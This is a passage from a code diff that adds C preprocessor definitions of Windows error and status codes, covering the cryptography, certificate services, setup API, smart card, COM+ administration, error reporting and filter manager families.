CRYPT_E_NO_TRUSTED_SIGNER -2146885589 +#define CRYPT_E_MISSING_PUBKEY_PARA -2146885588 +#define CRYPT_E_OBJECT_LOCATOR_OBJECT_NOT_FOUND -2146885587 +#define CRYPT_E_OSS_ERROR -2146881536 +#define OSS_MORE_BUF -2146881535 +#define OSS_NEGATIVE_UINTEGER -2146881534 +#define OSS_PDU_RANGE -2146881533 +#define OSS_MORE_INPUT -2146881532 +#define OSS_DATA_ERROR -2146881531 +#define OSS_BAD_ARG -2146881530 +#define OSS_BAD_VERSION -2146881529 +#define OSS_OUT_MEMORY -2146881528 +#define OSS_PDU_MISMATCH -2146881527 +#define OSS_LIMITED -2146881526 +#define OSS_BAD_PTR -2146881525 +#define OSS_BAD_TIME -2146881524 +#define OSS_INDEFINITE_NOT_SUPPORTED -2146881523 +#define OSS_MEM_ERROR -2146881522 +#define OSS_BAD_TABLE -2146881521 +#define OSS_TOO_LONG -2146881520 +#define OSS_CONSTRAINT_VIOLATED -2146881519 +#define OSS_FATAL_ERROR -2146881518 +#define OSS_ACCESS_SERIALIZATION_ERROR -2146881517 +#define OSS_NULL_TBL -2146881516 +#define OSS_NULL_FCN -2146881515 +#define OSS_BAD_ENCRULES -2146881514 +#define OSS_UNAVAIL_ENCRULES -2146881513 +#define OSS_CANT_OPEN_TRACE_WINDOW -2146881512 +#define OSS_UNIMPLEMENTED -2146881511 +#define OSS_OID_DLL_NOT_LINKED -2146881510 +#define OSS_CANT_OPEN_TRACE_FILE -2146881509 +#define OSS_TRACE_FILE_ALREADY_OPEN -2146881508 +#define OSS_TABLE_MISMATCH -2146881507 +#define OSS_TYPE_NOT_SUPPORTED -2146881506 +#define OSS_REAL_DLL_NOT_LINKED -2146881505 +#define OSS_REAL_CODE_NOT_LINKED -2146881504 +#define OSS_OUT_OF_RANGE -2146881503 +#define OSS_COPIER_DLL_NOT_LINKED -2146881502 +#define OSS_CONSTRAINT_DLL_NOT_LINKED -2146881501 +#define OSS_COMPARATOR_DLL_NOT_LINKED -2146881500 +#define OSS_COMPARATOR_CODE_NOT_LINKED -2146881499 +#define OSS_MEM_MGR_DLL_NOT_LINKED -2146881498 +#define OSS_PDV_DLL_NOT_LINKED -2146881497 +#define OSS_PDV_CODE_NOT_LINKED -2146881496 +#define OSS_API_DLL_NOT_LINKED -2146881495 +#define OSS_BERDER_DLL_NOT_LINKED -2146881494 +#define OSS_PER_DLL_NOT_LINKED -2146881493 +#define OSS_OPEN_TYPE_ERROR -2146881492 +#define OSS_MUTEX_NOT_CREATED -2146881491 +#define OSS_CANT_CLOSE_TRACE_FILE -2146881490 +#define CRYPT_E_ASN1_ERROR -2146881280 +#define CRYPT_E_ASN1_INTERNAL -2146881279 +#define CRYPT_E_ASN1_EOD -2146881278 +#define CRYPT_E_ASN1_CORRUPT -2146881277 +#define CRYPT_E_ASN1_LARGE -2146881276 +#define CRYPT_E_ASN1_CONSTRAINT -2146881275 +#define CRYPT_E_ASN1_MEMORY -2146881274 +#define CRYPT_E_ASN1_OVERFLOW -2146881273 +#define CRYPT_E_ASN1_BADPDU -2146881272 +#define CRYPT_E_ASN1_BADARGS -2146881271 +#define CRYPT_E_ASN1_BADREAL -2146881270 +#define CRYPT_E_ASN1_BADTAG -2146881269 +#define CRYPT_E_ASN1_CHOICE -2146881268 +#define CRYPT_E_ASN1_RULE -2146881267 +#define CRYPT_E_ASN1_UTF8 -2146881266 +#define CRYPT_E_ASN1_PDU_TYPE -2146881229 +#define CRYPT_E_ASN1_NYI -2146881228 +#define CRYPT_E_ASN1_EXTENDED -2146881023 +#define CRYPT_E_ASN1_NOEOD -2146881022 +#define CERTSRV_E_BAD_REQUESTSUBJECT -2146877439 +#define CERTSRV_E_NO_REQUEST -2146877438 +#define CERTSRV_E_BAD_REQUESTSTATUS -2146877437 +#define CERTSRV_E_PROPERTY_EMPTY -2146877436 +#define CERTSRV_E_INVALID_CA_CERTIFICATE -2146877435 +#define CERTSRV_E_SERVER_SUSPENDED -2146877434 +#define CERTSRV_E_ENCODING_LENGTH -2146877433 +#define CERTSRV_E_ROLECONFLICT -2146877432 +#define CERTSRV_E_RESTRICTEDOFFICER -2146877431 +#define CERTSRV_E_KEY_ARCHIVAL_NOT_CONFIGURED -2146877430 +#define CERTSRV_E_NO_VALID_KRA -2146877429 +#define CERTSRV_E_BAD_REQUEST_KEY_ARCHIVAL -2146877428 +#define CERTSRV_E_NO_CAADMIN_DEFINED -2146877427 +#define CERTSRV_E_BAD_RENEWAL_CERT_ATTRIBUTE -2146877426 +#define CERTSRV_E_NO_DB_SESSIONS -2146877425 +#define CERTSRV_E_ALIGNMENT_FAULT -2146877424 +#define CERTSRV_E_ENROLL_DENIED -2146877423 +#define CERTSRV_E_TEMPLATE_DENIED -2146877422 +#define CERTSRV_E_DOWNLEVEL_DC_SSL_OR_UPGRADE -2146877421 +#define CERTSRV_E_ADMIN_DENIED_REQUEST -2146877420 +#define CERTSRV_E_NO_POLICY_SERVER -2146877419 +#define CERTSRV_E_WEAK_SIGNATURE_OR_KEY -2146877418 +#define CERTSRV_E_KEY_ATTESTATION_NOT_SUPPORTED -2146877417 +#define CERTSRV_E_ENCRYPTION_CERT_REQUIRED -2146877416 +#define CERTSRV_E_UNSUPPORTED_CERT_TYPE -2146875392 +#define CERTSRV_E_NO_CERT_TYPE -2146875391 +#define CERTSRV_E_TEMPLATE_CONFLICT -2146875390 +#define CERTSRV_E_SUBJECT_ALT_NAME_REQUIRED -2146875389 +#define CERTSRV_E_ARCHIVED_KEY_REQUIRED -2146875388 +#define CERTSRV_E_SMIME_REQUIRED -2146875387 +#define CERTSRV_E_BAD_RENEWAL_SUBJECT -2146875386 +#define CERTSRV_E_BAD_TEMPLATE_VERSION -2146875385 +#define CERTSRV_E_TEMPLATE_POLICY_REQUIRED -2146875384 +#define CERTSRV_E_SIGNATURE_POLICY_REQUIRED -2146875383 +#define CERTSRV_E_SIGNATURE_COUNT -2146875382 +#define CERTSRV_E_SIGNATURE_REJECTED -2146875381 +#define CERTSRV_E_ISSUANCE_POLICY_REQUIRED -2146875380 +#define CERTSRV_E_SUBJECT_UPN_REQUIRED -2146875379 +#define CERTSRV_E_SUBJECT_DIRECTORY_GUID_REQUIRED -2146875378 +#define CERTSRV_E_SUBJECT_DNS_REQUIRED -2146875377 +#define CERTSRV_E_ARCHIVED_KEY_UNEXPECTED -2146875376 +#define CERTSRV_E_KEY_LENGTH -2146875375 +#define CERTSRV_E_SUBJECT_EMAIL_REQUIRED -2146875374 +#define CERTSRV_E_UNKNOWN_CERT_TYPE -2146875373 +#define CERTSRV_E_CERT_TYPE_OVERLAP -2146875372 +#define CERTSRV_E_TOO_MANY_SIGNATURES -2146875371 +#define CERTSRV_E_RENEWAL_BAD_PUBLIC_KEY -2146875370 +#define CERTSRV_E_INVALID_EK -2146875369 +#define CERTSRV_E_INVALID_IDBINDING -2146875368 +#define CERTSRV_E_INVALID_ATTESTATION -2146875367 +#define CERTSRV_E_KEY_ATTESTATION -2146875366 +#define CERTSRV_E_CORRUPT_KEY_ATTESTATION -2146875365 +#define CERTSRV_E_EXPIRED_CHALLENGE -2146875364 +#define CERTSRV_E_INVALID_RESPONSE -2146875363 +#define CERTSRV_E_INVALID_REQUESTID -2146875362 +#define CERTSRV_E_REQUEST_PRECERTIFICATE_MISMATCH -2146875361 +#define CERTSRV_E_PENDING_CLIENT_RESPONSE -2146875360 +#define CERTSRV_E_SEC_EXT_DIRECTORY_SID_REQUIRED -2146875359 +#define XENROLL_E_KEY_NOT_EXPORTABLE -2146873344 +#define XENROLL_E_CANNOT_ADD_ROOT_CERT -2146873343 +#define XENROLL_E_RESPONSE_KA_HASH_NOT_FOUND -2146873342 +#define XENROLL_E_RESPONSE_UNEXPECTED_KA_HASH -2146873341 +#define XENROLL_E_RESPONSE_KA_HASH_MISMATCH -2146873340 +#define XENROLL_E_KEYSPEC_SMIME_MISMATCH -2146873339 +#define TRUST_E_SYSTEM_ERROR -2146869247 +#define TRUST_E_NO_SIGNER_CERT -2146869246 +#define TRUST_E_COUNTER_SIGNER -2146869245 +#define TRUST_E_CERT_SIGNATURE -2146869244 +#define TRUST_E_TIME_STAMP -2146869243 +#define TRUST_E_BAD_DIGEST -2146869232 +#define TRUST_E_MALFORMED_SIGNATURE -2146869231 +#define TRUST_E_BASIC_CONSTRAINTS -2146869223 +#define TRUST_E_FINANCIAL_CRITERIA -2146869218 +#define MSSIPOTF_E_OUTOFMEMRANGE -2146865151 +#define MSSIPOTF_E_CANTGETOBJECT -2146865150 +#define MSSIPOTF_E_NOHEADTABLE -2146865149 +#define MSSIPOTF_E_BAD_MAGICNUMBER -2146865148 +#define MSSIPOTF_E_BAD_OFFSET_TABLE -2146865147 +#define MSSIPOTF_E_TABLE_TAGORDER -2146865146 +#define MSSIPOTF_E_TABLE_LONGWORD -2146865145 +#define MSSIPOTF_E_BAD_FIRST_TABLE_PLACEMENT -2146865144 +#define MSSIPOTF_E_TABLES_OVERLAP -2146865143 +#define MSSIPOTF_E_TABLE_PADBYTES -2146865142 +#define MSSIPOTF_E_FILETOOSMALL -2146865141 +#define MSSIPOTF_E_TABLE_CHECKSUM -2146865140 +#define MSSIPOTF_E_FILE_CHECKSUM -2146865139 +#define MSSIPOTF_E_FAILED_POLICY -2146865136 +#define MSSIPOTF_E_FAILED_HINTS_CHECK -2146865135 +#define MSSIPOTF_E_NOT_OPENTYPE -2146865134 +#define MSSIPOTF_E_FILE -2146865133 +#define MSSIPOTF_E_CRYPT -2146865132 +#define MSSIPOTF_E_BADVERSION -2146865131 +#define MSSIPOTF_E_DSIG_STRUCTURE -2146865130 +#define MSSIPOTF_E_PCONST_CHECK -2146865129 +#define MSSIPOTF_E_STRUCTURE -2146865128 +#define ERROR_CRED_REQUIRES_CONFIRMATION -2146865127 +#define NTE_OP_OK 0x0 +#define TRUST_E_PROVIDER_UNKNOWN -2146762751 +#define TRUST_E_ACTION_UNKNOWN -2146762750 +#define TRUST_E_SUBJECT_FORM_UNKNOWN -2146762749 +#define TRUST_E_SUBJECT_NOT_TRUSTED -2146762748 +#define DIGSIG_E_ENCODE -2146762747 +#define DIGSIG_E_DECODE -2146762746 +#define DIGSIG_E_EXTENSIBILITY -2146762745 +#define DIGSIG_E_CRYPTO -2146762744 +#define PERSIST_E_SIZEDEFINITE -2146762743 +#define PERSIST_E_SIZEINDEFINITE -2146762742 +#define PERSIST_E_NOTSELFSIZING -2146762741 +#define TRUST_E_NOSIGNATURE -2146762496 +#define CERT_E_EXPIRED -2146762495 +#define CERT_E_VALIDITYPERIODNESTING -2146762494 +#define CERT_E_ROLE -2146762493 +#define CERT_E_PATHLENCONST -2146762492 +#define CERT_E_CRITICAL -2146762491 +#define CERT_E_PURPOSE -2146762490 +#define CERT_E_ISSUERCHAINING -2146762489 +#define CERT_E_MALFORMED -2146762488 +#define CERT_E_UNTRUSTEDROOT -2146762487 +#define CERT_E_CHAINING -2146762486 +#define TRUST_E_FAIL -2146762485 +#define CERT_E_REVOKED -2146762484 +#define CERT_E_UNTRUSTEDTESTROOT -2146762483 +#define CERT_E_REVOCATION_FAILURE -2146762482 +#define CERT_E_CN_NO_MATCH -2146762481 +#define CERT_E_WRONG_USAGE -2146762480 +#define TRUST_E_EXPLICIT_DISTRUST -2146762479 +#define CERT_E_UNTRUSTEDCA -2146762478 +#define CERT_E_INVALID_POLICY -2146762477 +#define CERT_E_INVALID_NAME -2146762476 +#define SPAPI_E_EXPECTED_SECTION_NAME -2146500608 +#define SPAPI_E_BAD_SECTION_NAME_LINE -2146500607 +#define SPAPI_E_SECTION_NAME_TOO_LONG -2146500606 +#define SPAPI_E_GENERAL_SYNTAX -2146500605 +#define SPAPI_E_WRONG_INF_STYLE -2146500352 +#define SPAPI_E_SECTION_NOT_FOUND -2146500351 +#define SPAPI_E_LINE_NOT_FOUND -2146500350 +#define SPAPI_E_NO_BACKUP -2146500349 +#define SPAPI_E_NO_ASSOCIATED_CLASS -2146500096 +#define SPAPI_E_CLASS_MISMATCH -2146500095 +#define SPAPI_E_DUPLICATE_FOUND -2146500094 +#define SPAPI_E_NO_DRIVER_SELECTED -2146500093 +#define SPAPI_E_KEY_DOES_NOT_EXIST -2146500092 +#define SPAPI_E_INVALID_DEVINST_NAME -2146500091 +#define SPAPI_E_INVALID_CLASS -2146500090 +#define SPAPI_E_DEVINST_ALREADY_EXISTS -2146500089 +#define SPAPI_E_DEVINFO_NOT_REGISTERED -2146500088 +#define SPAPI_E_INVALID_REG_PROPERTY -2146500087 +#define SPAPI_E_NO_INF -2146500086 +#define SPAPI_E_NO_SUCH_DEVINST -2146500085 +#define SPAPI_E_CANT_LOAD_CLASS_ICON -2146500084 +#define SPAPI_E_INVALID_CLASS_INSTALLER -2146500083 +#define SPAPI_E_DI_DO_DEFAULT -2146500082 +#define SPAPI_E_DI_NOFILECOPY -2146500081 +#define SPAPI_E_INVALID_HWPROFILE -2146500080 +#define SPAPI_E_NO_DEVICE_SELECTED -2146500079 +#define SPAPI_E_DEVINFO_LIST_LOCKED -2146500078 +#define SPAPI_E_DEVINFO_DATA_LOCKED -2146500077 +#define SPAPI_E_DI_BAD_PATH -2146500076 +#define SPAPI_E_NO_CLASSINSTALL_PARAMS -2146500075 +#define SPAPI_E_FILEQUEUE_LOCKED -2146500074 +#define SPAPI_E_BAD_SERVICE_INSTALLSECT -2146500073 +#define SPAPI_E_NO_CLASS_DRIVER_LIST -2146500072 +#define SPAPI_E_NO_ASSOCIATED_SERVICE -2146500071 +#define SPAPI_E_NO_DEFAULT_DEVICE_INTERFACE -2146500070 +#define SPAPI_E_DEVICE_INTERFACE_ACTIVE -2146500069 +#define SPAPI_E_DEVICE_INTERFACE_REMOVED -2146500068 +#define SPAPI_E_BAD_INTERFACE_INSTALLSECT -2146500067 +#define SPAPI_E_NO_SUCH_INTERFACE_CLASS -2146500066 +#define SPAPI_E_INVALID_REFERENCE_STRING -2146500065 +#define SPAPI_E_INVALID_MACHINENAME -2146500064 +#define SPAPI_E_REMOTE_COMM_FAILURE -2146500063 +#define SPAPI_E_MACHINE_UNAVAILABLE -2146500062 +#define SPAPI_E_NO_CONFIGMGR_SERVICES -2146500061 +#define SPAPI_E_INVALID_PROPPAGE_PROVIDER -2146500060 +#define SPAPI_E_NO_SUCH_DEVICE_INTERFACE -2146500059 +#define SPAPI_E_DI_POSTPROCESSING_REQUIRED -2146500058 +#define SPAPI_E_INVALID_COINSTALLER -2146500057 +#define SPAPI_E_NO_COMPAT_DRIVERS -2146500056 +#define SPAPI_E_NO_DEVICE_ICON -2146500055 +#define SPAPI_E_INVALID_INF_LOGCONFIG -2146500054 +#define SPAPI_E_DI_DONT_INSTALL -2146500053 +#define SPAPI_E_INVALID_FILTER_DRIVER -2146500052 +#define SPAPI_E_NON_WINDOWS_NT_DRIVER -2146500051 +#define SPAPI_E_NON_WINDOWS_DRIVER -2146500050 +#define SPAPI_E_NO_CATALOG_FOR_OEM_INF -2146500049 +#define SPAPI_E_DEVINSTALL_QUEUE_NONNATIVE -2146500048 +#define SPAPI_E_NOT_DISABLEABLE -2146500047 +#define SPAPI_E_CANT_REMOVE_DEVINST -2146500046 +#define SPAPI_E_INVALID_TARGET -2146500045 +#define SPAPI_E_DRIVER_NONNATIVE -2146500044 +#define SPAPI_E_IN_WOW64 -2146500043 +#define SPAPI_E_SET_SYSTEM_RESTORE_POINT -2146500042 +#define SPAPI_E_INCORRECTLY_COPIED_INF -2146500041 +#define SPAPI_E_SCE_DISABLED -2146500040 +#define SPAPI_E_UNKNOWN_EXCEPTION -2146500039 +#define SPAPI_E_PNP_REGISTRY_ERROR -2146500038 +#define SPAPI_E_REMOTE_REQUEST_UNSUPPORTED -2146500037 +#define SPAPI_E_NOT_AN_INSTALLED_OEM_INF -2146500036 +#define SPAPI_E_INF_IN_USE_BY_DEVICES -2146500035 +#define SPAPI_E_DI_FUNCTION_OBSOLETE -2146500034 +#define SPAPI_E_NO_AUTHENTICODE_CATALOG -2146500033 +#define SPAPI_E_AUTHENTICODE_DISALLOWED -2146500032 +#define SPAPI_E_AUTHENTICODE_TRUSTED_PUBLISHER -2146500031 +#define SPAPI_E_AUTHENTICODE_TRUST_NOT_ESTABLISHED -2146500030 +#define SPAPI_E_AUTHENTICODE_PUBLISHER_NOT_TRUSTED -2146500029 +#define SPAPI_E_SIGNATURE_OSATTRIBUTE_MISMATCH -2146500028 +#define SPAPI_E_ONLY_VALIDATE_VIA_AUTHENTICODE -2146500027 +#define SPAPI_E_DEVICE_INSTALLER_NOT_READY -2146500026 +#define SPAPI_E_DRIVER_STORE_ADD_FAILED -2146500025 +#define SPAPI_E_DEVICE_INSTALL_BLOCKED -2146500024 +#define SPAPI_E_DRIVER_INSTALL_BLOCKED -2146500023 +#define SPAPI_E_WRONG_INF_TYPE -2146500022 +#define SPAPI_E_FILE_HASH_NOT_IN_CATALOG -2146500021 +#define SPAPI_E_DRIVER_STORE_DELETE_FAILED -2146500020 +#define SPAPI_E_UNRECOVERABLE_STACK_OVERFLOW -2146499840 +#define SPAPI_E_ERROR_NOT_INSTALLED -2146496512 +#define SCARD_F_INTERNAL_ERROR -2146435071 +#define SCARD_E_CANCELLED -2146435070 +#define SCARD_E_INVALID_HANDLE -2146435069 +#define SCARD_E_INVALID_PARAMETER -2146435068 +#define SCARD_E_INVALID_TARGET -2146435067 +#define SCARD_E_NO_MEMORY -2146435066 +#define SCARD_F_WAITED_TOO_LONG -2146435065 +#define SCARD_E_INSUFFICIENT_BUFFER -2146435064 +#define SCARD_E_UNKNOWN_READER -2146435063 +#define SCARD_E_TIMEOUT -2146435062 +#define SCARD_E_SHARING_VIOLATION -2146435061 +#define SCARD_E_NO_SMARTCARD -2146435060 +#define SCARD_E_UNKNOWN_CARD -2146435059 +#define SCARD_E_CANT_DISPOSE -2146435058 +#define SCARD_E_PROTO_MISMATCH -2146435057 +#define SCARD_E_NOT_READY -2146435056 +#define SCARD_E_INVALID_VALUE -2146435055 +#define SCARD_E_SYSTEM_CANCELLED -2146435054 +#define SCARD_F_COMM_ERROR -2146435053 +#define SCARD_F_UNKNOWN_ERROR -2146435052 +#define SCARD_E_INVALID_ATR -2146435051 +#define SCARD_E_NOT_TRANSACTED -2146435050 +#define SCARD_E_READER_UNAVAILABLE -2146435049 +#define SCARD_P_SHUTDOWN -2146435048 +#define SCARD_E_PCI_TOO_SMALL -2146435047 +#define SCARD_E_READER_UNSUPPORTED -2146435046 +#define SCARD_E_DUPLICATE_READER -2146435045 +#define SCARD_E_CARD_UNSUPPORTED -2146435044 +#define SCARD_E_NO_SERVICE -2146435043 +#define SCARD_E_SERVICE_STOPPED -2146435042 +#define SCARD_E_UNEXPECTED -2146435041 +#define SCARD_E_ICC_INSTALLATION -2146435040 +#define SCARD_E_ICC_CREATEORDER -2146435039 +#define SCARD_E_UNSUPPORTED_FEATURE -2146435038 +#define SCARD_E_DIR_NOT_FOUND -2146435037 +#define SCARD_E_FILE_NOT_FOUND -2146435036 +#define SCARD_E_NO_DIR -2146435035 +#define SCARD_E_NO_FILE -2146435034 +#define SCARD_E_NO_ACCESS -2146435033 +#define SCARD_E_WRITE_TOO_MANY -2146435032 +#define SCARD_E_BAD_SEEK -2146435031 +#define SCARD_E_INVALID_CHV -2146435030 +#define SCARD_E_UNKNOWN_RES_MNG -2146435029 +#define SCARD_E_NO_SUCH_CERTIFICATE -2146435028 +#define SCARD_E_CERTIFICATE_UNAVAILABLE -2146435027 +#define SCARD_E_NO_READERS_AVAILABLE -2146435026 +#define SCARD_E_COMM_DATA_LOST -2146435025 +#define SCARD_E_NO_KEY_CONTAINER -2146435024 +#define SCARD_E_SERVER_TOO_BUSY -2146435023 +#define SCARD_E_PIN_CACHE_EXPIRED -2146435022 +#define SCARD_E_NO_PIN_CACHE -2146435021 +#define SCARD_E_READ_ONLY_CARD -2146435020 +#define SCARD_W_UNSUPPORTED_CARD -2146434971 +#define SCARD_W_UNRESPONSIVE_CARD -2146434970 +#define SCARD_W_UNPOWERED_CARD -2146434969 +#define SCARD_W_RESET_CARD -2146434968 +#define SCARD_W_REMOVED_CARD -2146434967 +#define SCARD_W_SECURITY_VIOLATION -2146434966 +#define SCARD_W_WRONG_CHV -2146434965 +#define SCARD_W_CHV_BLOCKED -2146434964 +#define SCARD_W_EOF -2146434963 +#define SCARD_W_CANCELLED_BY_USER -2146434962 +#define SCARD_W_CARD_NOT_AUTHENTICATED -2146434961 +#define SCARD_W_CACHE_ITEM_NOT_FOUND -2146434960 +#define SCARD_W_CACHE_ITEM_STALE -2146434959 +#define SCARD_W_CACHE_ITEM_TOO_BIG -2146434958 +#define COMADMIN_E_OBJECTERRORS -2146368511 +#define COMADMIN_E_OBJECTINVALID -2146368510 +#define COMADMIN_E_KEYMISSING -2146368509 +#define COMADMIN_E_ALREADYINSTALLED -2146368508 +#define COMADMIN_E_APP_FILE_WRITEFAIL -2146368505 +#define COMADMIN_E_APP_FILE_READFAIL -2146368504 +#define COMADMIN_E_APP_FILE_VERSION -2146368503 +#define COMADMIN_E_BADPATH -2146368502 +#define COMADMIN_E_APPLICATIONEXISTS -2146368501 +#define COMADMIN_E_ROLEEXISTS -2146368500 +#define COMADMIN_E_CANTCOPYFILE -2146368499 +#define COMADMIN_E_NOUSER -2146368497 +#define COMADMIN_E_INVALIDUSERIDS -2146368496 +#define COMADMIN_E_NOREGISTRYCLSID -2146368495 +#define COMADMIN_E_BADREGISTRYPROGID -2146368494 +#define COMADMIN_E_AUTHENTICATIONLEVEL -2146368493 +#define COMADMIN_E_USERPASSWDNOTVALID -2146368492 +#define COMADMIN_E_CLSIDORIIDMISMATCH -2146368488 +#define COMADMIN_E_REMOTEINTERFACE -2146368487 +#define COMADMIN_E_DLLREGISTERSERVER -2146368486 +#define COMADMIN_E_NOSERVERSHARE -2146368485 +#define COMADMIN_E_DLLLOADFAILED -2146368483 +#define COMADMIN_E_BADREGISTRYLIBID -2146368482 +#define COMADMIN_E_APPDIRNOTFOUND -2146368481 +#define COMADMIN_E_REGISTRARFAILED -2146368477 +#define COMADMIN_E_COMPFILE_DOESNOTEXIST -2146368476 +#define COMADMIN_E_COMPFILE_LOADDLLFAIL -2146368475 +#define COMADMIN_E_COMPFILE_GETCLASSOBJ -2146368474 +#define COMADMIN_E_COMPFILE_CLASSNOTAVAIL -2146368473 +#define COMADMIN_E_COMPFILE_BADTLB -2146368472 +#define COMADMIN_E_COMPFILE_NOTINSTALLABLE -2146368471 +#define COMADMIN_E_NOTCHANGEABLE -2146368470 +#define COMADMIN_E_NOTDELETEABLE -2146368469 +#define COMADMIN_E_SESSION -2146368468 +#define COMADMIN_E_COMP_MOVE_LOCKED -2146368467 +#define COMADMIN_E_COMP_MOVE_BAD_DEST -2146368466 +#define COMADMIN_E_REGISTERTLB -2146368464 +#define COMADMIN_E_SYSTEMAPP -2146368461 +#define COMADMIN_E_COMPFILE_NOREGISTRAR -2146368460 +#define COMADMIN_E_COREQCOMPINSTALLED -2146368459 +#define COMADMIN_E_SERVICENOTINSTALLED -2146368458 +#define COMADMIN_E_PROPERTYSAVEFAILED -2146368457 +#define COMADMIN_E_OBJECTEXISTS -2146368456 +#define COMADMIN_E_COMPONENTEXISTS -2146368455 +#define COMADMIN_E_REGFILE_CORRUPT -2146368453 +#define COMADMIN_E_PROPERTY_OVERFLOW -2146368452 +#define COMADMIN_E_NOTINREGISTRY -2146368450 +#define COMADMIN_E_OBJECTNOTPOOLABLE -2146368449 +#define COMADMIN_E_APPLID_MATCHES_CLSID -2146368442 +#define COMADMIN_E_ROLE_DOES_NOT_EXIST -2146368441 +#define COMADMIN_E_START_APP_NEEDS_COMPONENTS -2146368440 +#define COMADMIN_E_REQUIRES_DIFFERENT_PLATFORM -2146368439 +#define COMADMIN_E_CAN_NOT_EXPORT_APP_PROXY -2146368438 +#define COMADMIN_E_CAN_NOT_START_APP -2146368437 +#define COMADMIN_E_CAN_NOT_EXPORT_SYS_APP -2146368436 +#define COMADMIN_E_CANT_SUBSCRIBE_TO_COMPONENT -2146368435 +#define COMADMIN_E_EVENTCLASS_CANT_BE_SUBSCRIBER -2146368434 +#define COMADMIN_E_LIB_APP_PROXY_INCOMPATIBLE -2146368433 +#define COMADMIN_E_BASE_PARTITION_ONLY -2146368432 +#define COMADMIN_E_START_APP_DISABLED -2146368431 +#define COMADMIN_E_CAT_DUPLICATE_PARTITION_NAME -2146368425 +#define COMADMIN_E_CAT_INVALID_PARTITION_NAME -2146368424 +#define COMADMIN_E_CAT_PARTITION_IN_USE -2146368423 +#define COMADMIN_E_FILE_PARTITION_DUPLICATE_FILES -2146368422 +#define COMADMIN_E_CAT_IMPORTED_COMPONENTS_NOT_ALLOWED -2146368421 +#define COMADMIN_E_AMBIGUOUS_APPLICATION_NAME -2146368420 +#define COMADMIN_E_AMBIGUOUS_PARTITION_NAME -2146368419 +#define COMADMIN_E_REGDB_NOTINITIALIZED -2146368398 +#define COMADMIN_E_REGDB_NOTOPEN -2146368397 +#define COMADMIN_E_REGDB_SYSTEMERR -2146368396 +#define COMADMIN_E_REGDB_ALREADYRUNNING -2146368395 +#define COMADMIN_E_MIG_VERSIONNOTSUPPORTED -2146368384 +#define COMADMIN_E_MIG_SCHEMANOTFOUND -2146368383 +#define COMADMIN_E_CAT_BITNESSMISMATCH -2146368382 +#define COMADMIN_E_CAT_UNACCEPTABLEBITNESS -2146368381 +#define COMADMIN_E_CAT_WRONGAPPBITNESS -2146368380 +#define COMADMIN_E_CAT_PAUSE_RESUME_NOT_SUPPORTED -2146368379 +#define COMADMIN_E_CAT_SERVERFAULT -2146368378 +#define COMQC_E_APPLICATION_NOT_QUEUED -2146368000 +#define COMQC_E_NO_QUEUEABLE_INTERFACES -2146367999 +#define COMQC_E_QUEUING_SERVICE_NOT_AVAILABLE -2146367998 +#define COMQC_E_NO_IPERSISTSTREAM -2146367997 +#define COMQC_E_BAD_MESSAGE -2146367996 +#define COMQC_E_UNAUTHENTICATED -2146367995 +#define COMQC_E_UNTRUSTED_ENQUEUER -2146367994 +#define MSDTC_E_DUPLICATE_RESOURCE -2146367743 +#define COMADMIN_E_OBJECT_PARENT_MISSING -2146367480 +#define COMADMIN_E_OBJECT_DOES_NOT_EXIST -2146367479 +#define COMADMIN_E_APP_NOT_RUNNING -2146367478 +#define COMADMIN_E_INVALID_PARTITION -2146367477 +#define COMADMIN_E_SVCAPP_NOT_POOLABLE_OR_RECYCLABLE -2146367475 +#define COMADMIN_E_USER_IN_SET -2146367474 +#define COMADMIN_E_CANTRECYCLELIBRARYAPPS -2146367473 +#define COMADMIN_E_CANTRECYCLESERVICEAPPS -2146367471 +#define COMADMIN_E_PROCESSALREADYRECYCLED -2146367470 +#define COMADMIN_E_PAUSEDPROCESSMAYNOTBERECYCLED -2146367469 +#define COMADMIN_E_CANTMAKEINPROCSERVICE -2146367468 +#define COMADMIN_E_PROGIDINUSEBYCLSID -2146367467 +#define COMADMIN_E_DEFAULT_PARTITION_NOT_IN_SET -2146367466 +#define COMADMIN_E_RECYCLEDPROCESSMAYNOTBEPAUSED -2146367465 +#define COMADMIN_E_PARTITION_ACCESSDENIED -2146367464 +#define COMADMIN_E_PARTITION_MSI_ONLY -2146367463 +#define COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_1_0_FORMAT -2146367462 +#define COMADMIN_E_LEGACYCOMPS_NOT_ALLOWED_IN_NONBASE_PARTITIONS -2146367461 +#define COMADMIN_E_COMP_MOVE_SOURCE -2146367460 +#define COMADMIN_E_COMP_MOVE_DEST -2146367459 +#define COMADMIN_E_COMP_MOVE_PRIVATE -2146367458 +#define COMADMIN_E_BASEPARTITION_REQUIRED_IN_SET -2146367457 +#define COMADMIN_E_CANNOT_ALIAS_EVENTCLASS -2146367456 +#define COMADMIN_E_PRIVATE_ACCESSDENIED -2146367455 +#define COMADMIN_E_SAFERINVALID -2146367454 +#define COMADMIN_E_REGISTRY_ACCESSDENIED -2146367453 +#define COMADMIN_E_PARTITIONS_DISABLED -2146367452 +#define MENROLL_S_ENROLLMENT_SUSPENDED 1572881 +#define WER_S_REPORT_DEBUG 1769472 +#define WER_S_REPORT_UPLOADED 1769473 +#define WER_S_REPORT_QUEUED 1769474 +#define WER_S_DISABLED 1769475 +#define WER_S_SUSPENDED_UPLOAD 1769476 +#define WER_S_DISABLED_QUEUE 1769477 +#define WER_S_DISABLED_ARCHIVE 1769478 +#define WER_S_REPORT_ASYNC 1769479 +#define WER_S_IGNORE_ASSERT_INSTANCE 1769480 +#define WER_S_IGNORE_ALL_ASSERTS 1769481 +#define WER_S_ASSERT_CONTINUE 1769482 +#define WER_S_THROTTLED 1769483 +#define WER_S_REPORT_UPLOADED_CAB 1769484 +#define WER_E_CRASH_FAILURE -2145681408 +#define WER_E_CANCELED -2145681407 +#define WER_E_NETWORK_FAILURE -2145681406 +#define WER_E_NOT_INITIALIZED -2145681405 +#define WER_E_ALREADY_REPORTING -2145681404 +#define WER_E_DUMP_THROTTLED -2145681403 +#define WER_E_INSUFFICIENT_CONSENT -2145681402 +#define WER_E_TOO_HEAVY -2145681401 +#define ERROR_FLT_IO_COMPLETE 2031617 +#define ERROR_FLT_NO_HANDLER_DEFINED -2145452031 +#define ERROR_FLT_CONTEXT_ALREADY_DEFINED -2145452030 +#define ERROR_FLT_INVALID_ASYNCHRONOUS_REQUEST -2145452029 +#define ERROR_FLT_DISALLOW_FAST_IO -2145452028 +#define ERROR_FLT_INVALID_NAME_REQUEST -2145452027 +#define ERROR_FLT_NOT_SAFE_TO_POST_OPERATION -2145452026 +#define ERROR_FLT_NOT_INITIALIZED -2145452025 +#define ERROR_FLT_FILTER_NOT_READY -2145452024 